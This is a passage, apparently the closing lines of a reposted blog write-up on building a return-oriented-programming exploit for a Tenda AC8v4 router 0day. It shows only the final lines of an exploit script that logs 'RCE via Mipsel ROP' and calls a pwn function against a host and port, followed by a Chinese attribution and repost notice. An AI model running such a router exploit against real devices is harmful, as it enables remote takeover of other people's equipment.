)
log.info(“RCE via Mipsel ROP”)
pwn(ropcmd, host, port)
=原文始发于retr0@blog:ROPing Routers from scratch: Step-by-step Tenda Ac8v4 Mips 0day Flow-control ROP
转载请注明:ROPing Routers from scratch: Step-by-step Tenda Ac8v4 Mips 0day Flow-control ROP | CTF导航